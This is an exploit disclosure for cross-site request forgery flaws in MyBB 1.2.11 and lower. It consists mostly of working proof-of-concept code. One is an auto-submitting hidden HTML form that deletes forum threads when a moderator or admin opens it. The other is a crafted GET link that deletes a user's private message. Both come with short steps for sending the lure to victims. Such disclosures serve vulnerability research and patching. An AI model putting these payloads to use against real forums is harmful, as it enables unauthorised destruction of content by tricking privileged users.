MyBB 1.2.11 Multiple XSRF Vulnerabilities

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Founded: 18, January 2008
Founder: nbbn
MyBB Version: 1.2.11 and lower
Type: Multiple XSRF Vulnerabilities
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####1) Delete Threads XSRF Vulnerabilitie:

<html>
<head>
</head>
<body onLoad="javascript:document.formular.submit()">
<form action="http://localhost/xampp/mybb/moderation.php"; method="post"
name="formular">
<input type="hidden" name="action" value="do_multideletethreads" />
<input type="hidden" name="fid" value="2" /> <!-- forumid -->
<input type="hidden" name="threads" value="15|14" /> <!-- threadids -->
<input type="submit" value="Delete Threads" />
</form>


</body>
</html>

###Poc:
1. Create a .html file and copy the code into it.
2. Upload the file and now send the link to an admin or moderator
3. Done



####2) Delete PM's XSRF Vuln:

This one is only doing via GET and no question:
http://localhost/xampp/mybb/private.php?action=delete&pmid=3


###Poc: (An easy way):

1. Send to a user this link:
http://localhost/xampp/mybb/private.php?action=delete&pmid=3
2. Done